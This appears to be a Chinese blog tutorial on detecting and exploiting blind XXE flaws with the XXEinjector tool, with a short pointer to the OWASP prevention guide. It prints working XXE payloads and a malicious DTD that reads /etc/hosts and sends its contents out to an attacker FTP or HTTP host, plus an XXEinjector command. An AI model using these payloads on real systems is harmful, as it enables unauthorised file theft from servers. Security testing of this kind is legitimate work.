一个blind XXE漏洞利用工具XXEinjector
参考资料
关于Blind XXE
你所不知道的XML安全
未知攻焉知防——XXE漏洞攻防
XXE漏洞以及Blind XXE总结
XXEinjector – XXE自动化测试工具
漏洞探测
关于XXE的分析已经有比较多的总结了。可以查看参考资料中的分析。
使用SYSTEM引用外部cloueye URL。可以看到服务器接收到目标服务器发来的http请求,证明存在漏洞。
测试payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://sss.5510eb.dnslog.info/file.dtd">%remote;]>
文件读取
使用参考资料中的一些payload,发现并没有复现成功。后来发现使用XXEinjector可以非常方便的验证漏洞。
./XXEinjector.rb --host=22.28.98.149 --file=/root/XXEinjector/test.txt --path=/etc/hosts --verbose
命令可以读取hosts文件。XXEinjector.rb会自动开启http服务提供恶意dtd和开启ftp服务接受传送回来的文件信息。
经过抓包分析XXEinjector的工作原理。
使用的第一个payload为:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://xxxxxx:80/file.dtd">%remote;%int;%trick;]><request nickname="test" serial="ELISALIVE2-" user="" swd="+==" port="0" version="1.0"></request>
file.dtd内容为:
<!ENTITY % payl SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://xxxxxxx:21/%payl;'>">
然后ftp就会接受到hosts文件数据。
使用提取的payload用burp测试可以获取数据。
修复方案
参考XML_ExternalEntity(XXE)_Prevention_Cheat_Sheet_Prevention_Cheat_Sheet),根据相应的库的方式禁用外部实体解析。
备注
XXE作为一种攻击形式,在不同的环境中会有各种比较灵活的利用。你所不知道的XML安全中提到的禁用外部实体的情况下,利用uri Invocation来实现SSRF攻击。目前这个点的分析比较少,如果可以实现http的ssrf其实也是可以做不少事情的。
更新
遇到一个XXE的环境,使用简单payload测试,可以对外发起http请求。但是直接使用XXEinjector,无法获得数据,第二个请求一直发不出来,使用oob参数为http可以成功利用。因为oob默认使用ftp。可能是这个环境中ftp端口是不通的。
当时的测试思路是自己修改恶意dtd文件,替换为简单的发起http请求,发现可以成功,然后再增加嵌套。最终定位为可以利用。应该可以理解成只要可以发出一个http请求,那么漏洞一定就是可以利用的。只是使用oob为http,只能读取文件内容的一行。